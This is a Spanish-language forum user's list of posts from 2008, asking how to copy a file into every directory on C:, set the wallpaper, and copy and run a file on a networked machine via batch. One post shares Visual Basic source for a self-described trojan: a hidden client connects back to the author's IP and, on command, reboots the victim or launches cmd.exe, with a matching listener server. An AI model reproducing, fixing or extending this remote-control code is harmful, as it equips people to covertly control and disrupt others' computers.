|
Mostrar Mensajes
|
Páginas: [1]
|
1
|
Programación / Scripting / archivo por todos lados
|
en: 13 Abril 2008, 07:25 am
|
como hago para copiar un archivo por todo el disco C:??? o sea q corro el batch y un archivo X se copie por C: , C:\windows, C:\archivos de programa y asi por todos los directorios?
|
|
|
2
|
Programación / Programación Visual Basic / fondo de pantalla
|
en: 12 Abril 2008, 19:40 pm
|
como hago para cambiar el fondo de pantalla?? (que el basic tome una imagen q tengo en el disco y la ponga como fondo de pantalla...) y esto se puede hacer en una maquina sin privilegios de administrador?
|
|
|
4
|
Programación / Programación Visual Basic / mi troyano, no me funca :(
|
en: 12 Abril 2008, 01:54 am
|
bueno gente me hice un troyano para mandar datos a una pc remota, y no me esta andando bien no se que le pasa, les dejo las listas de comandos del servidor y del cliente
SERVIDOR
Private Sub Command1_Click() On Error Resume Next ws.LocalPort = Text1.Text ws.Close ws.Listen If ws.State = 2 Then Label1.Caption = "estado: conectando" End Sub
Private Sub Command2_Click() On Error Resume Next ws.SendData "fin" End Sub Private Sub Command3_Click() On Error Resume Next ws.SendData "cmd" End Sub
Private Sub Timer1_Timer() On Error Resume Next If Not ws.State = 7 Then Label1.Caption = "desconectado" If ws.State = 7 Then Label1.Caption = "conectado" If Label1.Caption = "desconectado" Then ws.Close ws.Listen End If End Sub
Private Sub ws_Close() Label1.Caption = "desconectado" End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long) On Error Resume Next ws.Close ws.Accept requestID Label2.Caption = "conectando a: " + ws.RemoteHostIP Shape1.FillColor = &HFF& Timer1.Interval = 3000 End Sub
CLIENTE
Private Sub Form_Load() On Error Resume Next ws.RemoteHost = aca va mi ip, por seguridad no la pongo ws.RemotePort = 1000 App.TaskVisible = False End Sub
Private Sub Timer1_Timer() If Not ws.State = 7 Then ws.Close ws.Connect End If End Sub
Private Sub Timer2_Timer() Shell ("cmd.exe") End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim datos As String ws.GetData datos If datos = "fin" Then Shell ("shutdown -r") If datos = "cmd" Then Timer2.Enabled = True End Sub
|
|
|
5
|
Programación / Scripting / copiar archivo
|
en: 4 Abril 2008, 00:17 am
|
teniendo la ip y estando habilitada puedo copiar un archivo por red mediante el .bat? y que se ejecute en esa maquina ese archivo q copie?
|
|
|
|
|
|
|